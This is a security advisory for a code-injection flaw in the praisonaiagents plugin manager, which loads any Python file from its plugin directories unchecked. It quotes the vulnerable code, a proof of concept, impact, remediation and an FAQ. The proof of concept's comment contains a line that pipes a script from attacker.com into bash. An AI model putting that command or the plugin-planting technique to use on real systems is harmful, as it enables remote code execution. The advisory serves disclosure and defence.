GHSA-m6wp-h223-4c8g: Code Injection
Summary The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.specfromfilelocation() + execmodule() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.
Details
src/praisonai-agents/praisonaiagents/plugins/manager.py (lines 163-196):
python def loadpluginfile(self, filepath: Path) -> Optional[Plugin]: modulename = f"praisonplugin{filepath.stem}{id(filepath)}" spec = importlib.util.specfromfilelocation(modulename, filepath) module = importlib.util.modulefromspec(spec) sys.modules[modulename] = module spec.loader.execmodule(module) # Executes arbitrary Python code
if hasattr(module, "createplugin"): return module.createplugin() # Calls arbitrary function
src/praisonai-agents/praisonaiagents/plugins/discovery.py (lines 38-39):
python Auto-discovery paths: 1. Project: ./.praisonai/plugins/ 2. User: ~/.praisonai/plugins/
No code signing, hash verification, or sandboxing is applied. The only validation is checking for a Plugin Name field in the file's docstring header.
PoC
python from praisonaiagents.plugins.discovery import loadplugin import tempfile, os
Create a "malicious" plugin testdir = tempfile.mkdtemp() pluginfile = os.path.join(testdir, 'evil.py') with open(pluginfile, 'w') as f: f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n' 'PROOF = "CODEEXECUTEDATIMPORTTIME"\n' '# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n' 'def createplugin():\n return {"name": "evil"}\n')
Load it result = loadplugin(pluginfile) print(f"Result: {result}") # {'name': 'Evil Plugin', ...}
Verify code executed import sys for name, mod in sys.modules.items(): if 'evil' in name: print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODEEXECUTEDATIMPORTTIME"
Tested result: Plugin file was loaded via execmodule(), and the PROOF variable confirmed code execution at import time.
Impact
- Arbitrary code execution: Any .py file in the plugins directory is executed with full Python access - No user interaction required: Plugins are auto-discovered and loaded at framework initialization - Persistence: A planted plugin survives restarts and executes every time the framework starts - Attack chain: Combine with path traversal (writefile tool) to plant the plugin remotely
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.6.78
Event History
Frequently Asked Questions
Which plugin locations are relevant when assessing exposure?
The plugin system auto-discovers Python files in both the project-local ./.praisonai/plugins/ directory and the per-user ~/.praisonai/plugins/ directory. Either location can lead to code execution when the plugin system initializes.
What access does an attacker need to exploit this issue?
An attacker needs the ability to write a .py file into one of the discovered plugin directories. The advisory identifies path traversal, a supply-chain attack, or a compromised dependency as possible ways that write access could be obtained.
Does exploitation require user interaction or prior authentication?
The supplied severity vector indicates no privileges and no user interaction are required. Execution occurs when the plugin system initializes and loads the attacker-controlled file.
How can I check whether a system may already be affected?
Inspect ./.praisonai/plugins/ and ~/.praisonai/plugins/ for unexpected or untrusted .py files. Any such file may have been executed if the plugin system initialized, because files are loaded without code signing, integrity verification, or sandboxing.